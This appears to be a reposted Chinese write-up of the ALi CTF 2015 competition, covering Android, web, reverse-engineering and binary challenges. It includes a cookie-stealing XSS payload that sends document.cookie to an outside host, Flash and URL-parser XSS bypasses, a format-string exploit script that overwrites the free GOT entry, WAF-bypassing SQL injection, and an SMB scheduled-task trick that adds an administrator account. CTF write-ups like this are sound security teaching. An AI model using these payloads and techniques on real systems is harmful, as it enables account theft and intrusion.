ALi CTF 2015 write up

转载

> EvilMoon · 2015/04/03 15:03

Authors:

EM

Ricter

附件

0x00 Cake

Cake 是一题 Android 题，具体流程就是一个输入一个字符串然后，初始化一个长度为16的数组，然后将字符串与这个数组 xor 。所以我们只需要再 xor 一下就 ok 了。

就是看代码逆向下，关键是有两个 Key 找对就 ok 直接上代码

```
#!python
a = [0, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 5, 15, 42]
b = 'bobdylan'
s = ''
i = 0
for x in a:
    s+= chr(x ^ ord(b[i % len(b)]))
    i += 1
print s
复制代码
```

0x01 渗透绕过WAF1

2、绕过云 WAF1 是一题绕过 WAF 题，这个 WAF 写的很死，所以就要用其他办法咯～

通过打开的弹窗提示，需要在`.alictf.com`的子域下面做，于是 fuzz 子域名：

得出`video.alictf.com`，打开发现没有 waf，注入点为`id`。

0x02 前端初赛题1

反射型 XSS，通过 ph 牛的文章，`<svg>`标签内`<script>`的内容可以 HTML encode，成功弹窗。

之后 payload 如下：

```
#!javascript
var i = new Image();
i.src = "http://ricter.me:9999/?" + document.cookie;
复制代码
```

得到 flag。

0x03 密码宝宝

密码宝宝 一题逆向题，用了 upx 加壳。

用010editor打开后，可以看到加了upx壳，用upx –d脱壳

在ida中查找GetWIndowTextA调用的地方

Sub_405160这个函数就是进行判断的函数

可以看到逻辑比较简单，就是将”himemnl”的每一位与0x4c,0x5a,0x4b各异或一次，就可以得到密码“5408031”

0x04 简单业务逻辑

简单业务逻辑 一题逻辑漏洞题～

注册账号，其中 Username 为`Admin`。

登录后买 -111 个草泥马：

得到好多钱，然后买最贵的那个。

0x05 前端初赛题2

前端初赛题2 简单来说就是给你一个 flash 让你弹弹弹

直接反编译得到 as 代码，首先可以知道 ExternalInterface.call 肯定是利用电，但是发现它会 delete 掉那些方法。找资料发现

```
http://drops.wooyun.org/papers/948
复制代码
```

如果你需要将你的vector发送到藏在防火墙的后面受害者（flashvars可以使用#来达到隐藏自己的目的）又或者想突破一些客户端的XSS防御机制这个方法将会十分的凑效。这一切都基于flash会丢弃一些被URL编码过的无效字符。

(1)flash会丢弃两个出现在%后面的无效十六进制字符（([^0-9a-fA-F])），比如：

```
"%X" or "%="
复制代码
```

(2)如果在%后面出现一个有效和一个非有效十六进制字符，就会丢弃三个字符，比如：

```
"%AX" or "%A&"
复制代码
```

这样处理后就能 bypass 那个 delete 了，因为在 for 里时把 %X 带上了，最后在 call 的时候 flash 会丢弃这个

然后在用这篇文章里的方法

```
http://drops.wooyun.org/tips/2924
复制代码
```

带上

```
alert(1))}catch(e){alert(100)}//
复制代码
```

当然直接用弹不出来（血的教训，卡了好久，审查元素看了下发现语句不一样＝。＝ 所以最后可以这样弹

```
#!javascript
%Xdebug=\%22));alert(1);}catch(e){alert(100)}//
复制代码
```

最后 payload 如下

```
#!javascript
http://8dd25e24b4f65229.alictf.com/swf.swf?%Xdebug=\%22));eval(String.fromCharCode(101,118,97,108,40,34,118
复制代码
```

0x06 渗透绕过WAF2

绕过云WAF2 题目显示说不在内网，所以第一步就是先设置一个内网 ip 咯 接下来看 writeup

提示需要内部访问，于是 fuzz IP：

- 192.168.x.x
- 10.x.x.x
- 172.16.x.x

发现 10 开头的 IP 可以访问。通过更改 HTTP 请求方法为 PATCH 可以让防护等级为中。
更改关键字，如`%20`改为`%0b`等绕过检测，注入得到 flag。

0x07 谁偷了你的站内短信

谁偷了你的站内短信 一题 binary 题

直接无脑 F5 ，可以看到 sendMail 直接 printf 了输入，所以就有一个 Format String 漏洞。

当然，要任意地址写得有个数据在栈上，然后发现用户名在栈上，再追一下栈上的数据，可以看到 76 的位置放着用户名，所以我可以任意地址写了。

然后本来还想怎么泄漏 libc 的地址什么的，结果再看看代码，那里躺着一个 print_flag 。。。这下就简单了，发现在 sendMail 后返回后跟着三个 free ， 我直接改 free 的 got 表，让他跳到 print_flag 就行了，直接上代码。

```
#!python
#coding:utf-8
from zio import *

print_flag = 0x08048BBD
free_addr = 0x0804C014

exp = """%134515645x%76$hn"""

io = zio(('exploit.alictf.com',5608))
''' # 第一次注册要用这个
io.read_until('Quit')
io.writeline('1')
io.read_until('Name:')
io.writeline(l32(free_addr))
io.read_until('ass:')
io.writeline('1234')
'''

io.read_until('Quit')
io.writeline('2')
io.read_until('Name:')
io.writeline(l32(free_addr))
io.read_until('ass:')
io.writeline('1234')
io.read_until('Quit')
io.writeline('3')
io.read_until('To:')

io.writeline(exp)
''' # 这下面的去掉不然会超时，最后自己随便写就好了
io.read_until('Title:')
io.writeline('123')
io.read_until('Body:')
io.writeline('123')
io.read_until('Quit')
io.writeline('3')
'''
io.interact()
复制代码
```

0x08 业务逻辑和渗透

先弄个正常的用户，找回密码，发现给了个地址

```
http://jinan.alictf.com/resetpass/reset.php?pass_token=xxxxx
复制代码
```

想说这里的 token 可以控制就好了，再看重置密码的页面，发现底部有东西。

```
testKey: 673f3e705c8d5b7af675f309e58d46c9
ServerTime: 15-03-29 20:46:03
复制代码
```

再想，token 明显是个 md5 那么会是怎么组的呢，首先这个 testKey 和 ServerTime 肯定会用到，但是总不可能每个人的 token 都一样，所以肯定还需要用户名，试了下发现是

```
md5(username + testKey + serverTime(时间戳))
复制代码
```

然后就可以修改 admin 的密码了，但是。。说我异地登陆。尝试改 xff 、 xrealip 等头都不行。。。然后上网找了个 http 代理。。然后就。。就可以了。这题自带地域歧视！山东人直接能秒了啊！！！

0x09 前端初赛题3

```
#!javascript
<html>
<head>
  <script src='jquery.min.js'></script>
  <script>
    function URL(url) {
        this.url = url
        this.illegal = false;

        this.scheme = null
        this.query = null;
        this.fragment = null;
        this.authority = '';
        this.path = '';
        this.username = null;
        this.password = null;
        this.port = 80;
    }
    URL.prototype.parse = function(){
      var url = this.url

      //parse fragment
      var pos = url.indexOf('#');
      if(pos > -1){
        if(url.length > pos+1){
          this.fragment = url.substr(pos+1, url.length-(pos+1));
        }
        url = url.substr(0, pos);
      }
      //parse query
      pos = url.indexOf('?');
      if(pos > -1){
        if(url.length > pos+1){
          this.query = url.substr(pos+1, url.length-(pos+1));
        }
        url = url.substr(0, pos);
      }
```

```
  //parse scheme
  var pos1 = url.indexOf(':');
  var pos2 = url.indexOf('/');
  if(pos1 > -1 && pos2 > pos1){
    this.scheme = url.substr(0, pos1).toLowerCase();
    url = url.substr(pos1+1);
    if(url.substr(0,2) == '//'){
      url = url.substr(2);
    }else{
      this.illegal = true;
      return
    }
  }else{
    this.illegal = true;
    return
  }

  while(url.charAt(0) == '/'){
    url = url.substr(1)
  }

  pos = url.indexOf('/')
  if(pos == -1){
    this.authority = url;
    this.path = '';
  }else{
    this.authority = url.substr(0, pos);
    this.path = url.substr(pos);
  }

  //parse username and password
  pos = this.authority.indexOf('@');
  if(pos == -1){
    this.username = null;
    this.password = null;
  }else{
    this.username = this.authority.substr(0, pos);
    this.authority = this.authority.substr(pos+1);
    pos = this.username.indexOf(':')
    if(pos == -1){
      this.password = null;
    }else{
      this.password = this.username.substr(pos+1);
      this.username = this.username.substr(0, pos);
    }
  }

  //parse port
  pos = this.authority.indexOf(':');
  if(pos > -1){
    this.port = this.authority.substr(pos+1);
    this.authority = this.authority.substr(0, pos)
  }
}
URL.prototype.validate = function(){
  this.parse();

  if(this.illegal) return;
```

```
      //validate scheme
      if(this.scheme != 'http' && this.scheme != 'https'){
        this.illegal = true;
        return;
      }
      if(this.username && this.username.indexOf('\\') > -1){
        this.illegal = true;
        return;
      }
      if(this.password && this.password.indexOf('\\') > -1){
        this.illegal = true;
        return;
      }
      if(this.authority != 'notexist.example.com'){
        this.illegal = true;
        return;
      }
    }
    URL.prototype.get = function(){
      if(this.illegal){
        return 'default.js';
      }else{
        return this.url;
      }
    }
  </script>
</head>
<body>
  <script type="text/javascript">
    var url = new URL(location.search.substr(1));
    url.validate()
    url = url.get()
    $.getScript(url)
  </script>
</body>
</html>
复制代码
```

读 JavaScript 代码，构造地址：

```
http://ef4c3e7556641f00.alictf.com/xss.php?http://notexist.example.com:@notexist.example.com:@ricter.me:999
复制代码
```

加载的 JavaScript 脚本和 XSS100 相同。

0x10 简单业务逻辑2

```
#!php
<!--
  function encrypt($plain) {
    $plain = md5($plain);
    $V = md5('??????');
    //var_dump($V);
    $rnd = md5(substr(microtime(),11));

    //var_dump(substr(microtime(),11)+mt_rand(0,35));
    $cipher = '';
    for($i = 0; $i < strlen($plain); $i++) {
        $cipher .= ($plain[$i] ^ $rnd[$i]);
    }
    $cipher .= $rnd;
    $V .= strrev($V);
    //var_dump($cipher);
    for($i = 0; $i < strlen($V); $i++) {
        $cipher[$i] = ($cipher[$i] ^ $V[$i]);
    }
    //var_dump($cipher);
    //var_dump($V);
    return str_replace('=', '', base64_encode($cipher));
}
function decrypt($cipher) {
    $V = md5('??????');
    $cipher_1 = base64_decode($cipher);
    //var_dump($cipher_1);
    if (strlen($cipher_1)!=64){
    return 'xx';
    }

    $V .= strrev($V);
    $plain = $cipher_1;
    //var_dump($cipher_1);
    //var_dump($V);
    for($i = 0; $i < strlen($V); $i++) {
        $plain[$i] = ($cipher_1[$i] ^ $V[$i]);
    }
    $ran = substr($plain,32,32);
    $plain = substr($plain,0,32);
    //var_dump($plain);
    for ($i = 0; $i < strlen($ran); $i++) {
    $plain[$i] = ($plain[$i] ^ $ran[$i]);
    }
    //var_dump($plain);
    return $plain;
}
!>
复制代码
```

读页面中的 PHP 代码，得到加密和解密算法。

1.用户名 md5 后，与一个随机生成的 md5 XOR；

2.用户名 md5 加上 rnd md5 组成密文 1；

3.密文 1 和一个未知的 md5(V) . strrev(md5(V)) 进行 XOR；

4.最后组合密文返回；

由此可知，前 32 位为：

```
md5("Guest") ^ md5(rnd) ^ md5(V)
复制代码
```

后 32 位为：

```
md5(rnd) ^ strrev(md5(V))
复制代码
```

如果想把前 32 位的用户名从 Guest 换成 Admin，则有：

```
md5("Guest") ^ md5(rnd) ^ md5(V) ^ md5("Guest") ^ md5("Admin")
复制代码
```

所以最终结果写个 Python 脚本算即可_(:з」∠)_

登录后 Cookie 中有一个 serailize 的注入，过滤了括号，不过分分钟了..

0x11 渗透初赛题

就是给一个网站你渗透～

通过 URL 猜测注册的 URL 为更改`action`为`register`，之后前端修改绕过限制注册账号。

修改头像处存在列目录漏洞，发现网站备份文件。

进入后台地址，通过万能密码绕过。其中第一层无名之盾绕过方式为 mul 表单绕过，第二层直接`or{x 1}#`

代码审计得到 user_bak 函数处存在一个二次注入漏洞（about 那里）。

得到超级管理员密码，为 h4xxxx!@#。

然后我要吐槽了：

这个题虽然出的不错，但是最后这点真的是为了出题而出题了。ADS 能想到，新建文件夹也能想到，但是那个 admin_pic 真是要开脑洞的。最后队友 eee 做出来了，大概是先 ADS 的 ::INDEX_ALLOCATION 新建文件夹，然后改 admin_pic 的 Cookie，再用 ::$DATA 上传 php 文件。

0x12 题目名称：宙斯盾

题目描述：你的当前token为 27638e649e4371f54eddb9a201f1b78c

服务器：ageis.alictf.com

请设法在服务器上新建一个以参赛者账号昵称为名字的管理员组账号.

创建成功后，访问 http://ageis.alictf.com，若能看到 “昵称:字符串”格式的内容，

则将 字符串 和你的 token 拼接即为flag。

```
A. 服务器上有一个账号叫 alictf，为弱密码。
B. 操作系统版本为 win2003 x64。
C. 本机已开启VPN服务。
D. 为了避免影响他人做题，在服务器上所有操作都不会真实成功的，只会完整记录。
E. 请不要对参赛服务器发起攻击，我们会记录，轻则屏蔽参赛者IP，重则取消比赛资格。
复制代码
```

题目很明显就是要你登陆 VPN 。手工测试

```
alictf:123456
复制代码
```

直接登录。 ifconfig 看一下， ip 是 172.16.0.1 扫了下端口，就开了 80 445 1025 1723 3389 没什么好想的 3389 肯定上不去，也不太可能是 snmp 直接 smb 那边考虑下，本来想无脑 msf 直接打，结果发现死活不成功，然后看了下官方的 tips 让我们好好看有存在什么文件，发现有两个文件，是 windows 计划任务文件夹下的文件， 即目录为

```
c:\windows\tasks
复制代码
```

一开始 at 一直不成功，就想说是不是因为没写路径，然后就一直测试

```
at \\172.16.0.1 xx:xx c:\windows\tasks\server.exe
复制代码
```

妄图执行一个远控，但是屡屡失败，然后看官方的描述

```
为了避免影响他人做题，在服务器上所有操作都不会真实成功的，只会完整记录。
复制代码
```

考虑既然都不会执行，那要远控干嘛。。所以直接执行命令好了！但是，人生最精彩的就在这个但是，这样执行命令也是不行的！！！那怎么办回归原始，既然这个是个计划任务的文件夹，那我直接把 job 文件复制进去好了，但是其实按理说不行，因为计划任务和注册表有些版本是有关联的，但是比赛嘛，不管那么多了，先本地执行

```
at xx:xx "net user eee password /add && net localgroup administrators eee /add"
复制代码
```

这样会在 c:\windows\tasks\ 目录生成一个 job 文件，那么我如果把这个文件复制进去是不是就能生成一个计划任务呢？Just do it

```
copy At1.job \\172.16.0.1\\Tasks\
复制代码
```

复制进去，以防万一我弄了 At2.job 和 At65535.job 然后等待服务器执行！